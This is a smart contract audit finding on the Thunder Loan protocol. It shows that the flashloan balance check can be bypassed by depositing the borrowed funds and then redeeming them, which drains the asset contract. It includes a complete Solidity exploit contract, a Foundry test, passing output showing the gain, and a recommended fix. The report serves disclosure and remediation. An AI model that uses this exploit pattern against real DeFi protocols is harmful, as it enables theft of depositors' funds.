Summary
The Thunder Loan protocol is vulnerable to an attack that allows draining all funds from the deposited assets through the flashloan functionality.
Vulnerability Details
The flashloan functionality at the end of execution checks if the current balance of the underlying token in the asset contract has been increased by the specified fee. This is done to ensure that the user returns the borrowed funds and adds required fee on top of that.
Check in flashloan function:
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
This mechanism can be bypassed by increasing the balance of the asset contract through different functionality than repaying the loan. It can be achieved using the deposit function of the Thunder Loan protocol which will lead to minting asset tokens on the flashloan that was not returned. Once that is done the attacker can just redeem asset tokens and get all the underlying tokens.
Impact
Following proof of concept presents attack that allows draining funds from the asset contract.
ExploitFlashLoan contract:
pragma solidity 0.8.20;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IThunderLoan {
function repay(address token, uint256 amount) external;
function deposit(address token, uint256 amount) external;
function redeem(address token, uint256 amountOfAssetToken) external;
function flashloan(address receiverAddress, address token, uint256 amount, bytes calldata params) external;
}
contract ExploitFlashLoan {
address thunderLoan;
function attack(address _thunderLoan, address token, uint256 amount) external {
thunderLoan = _thunderLoan;
IThunderLoan(_thunderLoan).flashloan(address(this), token, amount, "");
IThunderLoan(_thunderLoan).redeem(token, type(uint256).max);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata
)
external
returns (bool)
{
IERC20(token).approve(thunderLoan, amount + fee);
IThunderLoan(thunderLoan).deposit(token, amount + fee);
return true;
}
}
Launching attack test case:
function testExploitFlashloan() public setAllowedToken hasDeposits {
uint256 amountToBorrow = AMOUNT * 10;
ExploitFlashLoan exploit = new ExploitFlashLoan();
tokenA.mint(address(exploit), AMOUNT);
console.log("before attack", tokenA.balanceOf(address(exploit)));
vm.startPrank(user);
exploit.attack(address(thunderLoan), address(tokenA), amountToBorrow);
vm.stopPrank();
console.log("after redeem", tokenA.balanceOf(address(exploit)));
}
Results of the attack:
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testExploitFlashloan() (gas: 1512143)
Logs:
before attack 10000000000000000000
after redeem 110027437357158047785
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.07ms
Tools Used
Manual Review
Recommendations
It is recommended to instead of checking if the balance of the asset contract has increased to use safeTransferFrom
and transfer required funds from the flashloan receiver to the asset contract.